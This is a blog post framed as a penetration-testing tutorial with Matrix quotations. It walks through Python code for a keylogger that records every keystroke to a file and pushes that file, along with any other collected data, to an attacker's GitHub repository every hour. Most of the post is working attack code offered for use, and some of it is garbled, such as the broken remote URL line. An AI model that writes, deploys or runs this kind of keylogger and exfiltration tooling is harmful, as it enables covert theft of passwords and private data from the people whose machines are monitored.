Python Penetration Testing: Escaping the Matrix

R. Eric Kiser
InfoSec Write-ups
Published in
5 min readMar 31, 2023

--

How I GitOut and move exploited internal data to GitHub with Python

Just as Neo in the Matrix must navigate the complex and ever-changing virtual world of the Matrix, a penetration tester must navigate the intricate network infrastructure, finding hidden vulnerabilities and exploiting them to gain access to the data. Both require a keen sense of observation and a sharp mind to unravel the many layers of deception and obfuscation to discover a way out.

After uncovering the truth about the Matrix, there is a struggle to free humanity from its control. Similarly, during a penetration testing assignment, we must fight to make organizations aware of the actual risks and impact associated with the vulnerabilities we find. In my experience, many organizations tend to overlook hypothetical or speculative scenarios. To demonstrate the real impact, one effective method is to extract data from a network and transfer it to the internet.

In this article, I will demonstrate how I move files, and keylogger data from an internal network to the internet using Python and Github. Lets get started by importing our modules.

import os
import subprocess
import git
import datetime
import time
import keyboard

Create functionality that checks and installs our dependencies.

# Function to check and install missing dependencies
def install_dependency(package):
try:
__import__(package)
except ImportError:
subprocess.call(['pip', 'install', package])
print('Installed package: {}'.format(package))

# Check and install missing dependencies
install_dependency('git')
install_dependency('keyboard')
install_dependency('requests')

Create our prompts. We will need to setup the remote reference to our GitHub repository. Assuming no access has been extracted from the users that have been compromised (a really great solution but noisy), you will need a GitHub account to post the exfiltrated data to. Thus, we will create a prompt for the access token. You can change this to accept a username and password however this is not a secure way of transferring the data. Though that may not necessary matter if the GitHub account is a test account. The repo_name is the name of the repository on GitHub that you want to write the exfiltrated data to. The repo_location repo_location is the local file where you are writing the keylogger data to. Any other data placed in this folder will be pushed every hour as well.

# Prompt the user for their GitHub credentials, repository name, access token, and repository location
username = input('GitHub username: ')
repo_name = input('Repository name: ')
access_token = input('GitHub access token: ')
repo_location = input('Repository location: ')

We need to change thee directory on the local machine to the repository location and initialize a new Git repository using the gitpython library. Then we add all files in the repository location to the Git repository. We make an initial commit with the message “Initial commit” using repo.git.commit('-m', commit_message).

# Change to the specified folder
os.chdir(repo_location)

# Initialize the Git repository
repo = git.Repo.init()

# Add all files in the folder to the Git repository
repo.git.add('--all')

# Commit the changes with a default message
commit_message = 'Initial commit'
repo.git.commit('-m', commit_message)

“This is your last chance. After this, there is no turning back. You take the blue pill — the story ends, you wake up in your bed and believe whatever you want to believe. You take the red pill — you stay in Wonderland, and I show you how deep the rabbit hole goes. Remember, all I’m offering is the truth — nothing more.”
— Morpheus

Okay so now we red pill the organization. We move the data outside the matrix. In order to prevent having to add a commit message every hour we create a auto commit functionality by setting the commit_message variable to a string that includes the current date and time, so that each commit has a unique timestamp. We then setup our remote reference to the GitHub repository using the input data we gathered earlier in the script. Finally, we push the changes to the remote repository.

This leverages the version control that Git and GitHub uses. Each push changes to a remote repository on GitHub, each commit becomes a new version of the repository. You can view the commit history of a repository on GitHub by navigating to the “Commits” tab in the repository. This will show you a list of all the commits that have been made, along with their timestamps, commit messages, and the changes that were made in each commit.

# Create a remote reference to the GitHub repository
remote_url = f'@github.com/{username}/{repo_name}.git'">https://{username}:{access_token}@github.com/{username}/{repo_name}.git'
remote = repo.create_remote('origin', remote_url)

# Push the changes to the remote repository
remote.push(refspec='{}:{}'.format(repo.head.ref, 'master'), force=True)

print('Files pushed to GitHub repository successfully.')

At this stage we can copy or move files and folders to the local repository location and write the code to have those commit every hour. However, we want to collect data from keyboard input so we can stay ahead of Agent Smith. Let’s write a simple keylogger.

def on_press(e):
global keyboard_input
keyboard_input.append(e.name)

if len(keyboard_input) > 0:
write_to_file(keyboard_input)
keyboard_input = []

def write_to_file(keys):
global last_commit_time
with open(path, 'a') as file:
for key in keys:
write_down = str(key).replace("'", "")
if write_down.find('backspace') > 0:
file.write(' *BACKSPACE* ')
elif write_down.find('shift') > 0:
file.write(' *SHIFT* ')
elif write_down.find('enter') > 0:
file.write('\n')
elif write_down.find('space') > 0:
file.write(' ')
elif write_down.find('Key'):
file.write(write_down)

Now we can use the time module and create the create a while loop to wait for an hour (3600 seconds) before checking for keyboard input again. If an hour has passed since the last commit, we will add all files in the folder to the Git repository again with a default message "Auto-commit at [datetime]".

 # Check if an hour has passed since the last commit
current_time = datetime.datetime.now()
time_diff = (current_time - last_commit_time).total_seconds() / 3600
if time_diff >= 1:
# Add the keyboard input file to the Git repository
repo.git.add(path)

# Commit the changes with a default message
commit_message = 'Auto-commit keyboard input at {}'.format(datetime.datetime.now())
repo.git.commit('-m', commit_message)

# Push the changes to the remote repository
remote.push(refspec='{}:{}'.format(repo.head.ref, 'master'), force=True)

print('Keyboard input saved and pushed to GitHub repository successfully.')

with open(path, 'w') as file:
file.truncate()

last_commit_time = current_time

keyboard.on_press(on_press)

while True:
time.sleep(3600) # Wait for 1 hour (3600 seconds)

# Add all files in the folder to the Git repository
repo.git.add('--all')

# Check if an hour has passed since the last commit
current_time = datetime.datetime.now()
time_diff = (current_time - last_commit_time).total_seconds() / 3600
if time_diff >= 1:
# Commit the changes with a default message
commit_message = 'Auto-commit at {}'.format(datetime.datetime.now())
repo.git.commit('-m', commit_message)

Conclusion:

Congratulations, you made it this far 😅. With this script, you can move data on a internal system to a remote GitHub repository. We also added the keylogger functionality and a repository update every hour to grab the keylogger file. If you like this article please follow, clap and respond. Happy Hunting!

--

--

R. Eric Kiser is highly skilled certified information security manager with 10+ years of experience in the field.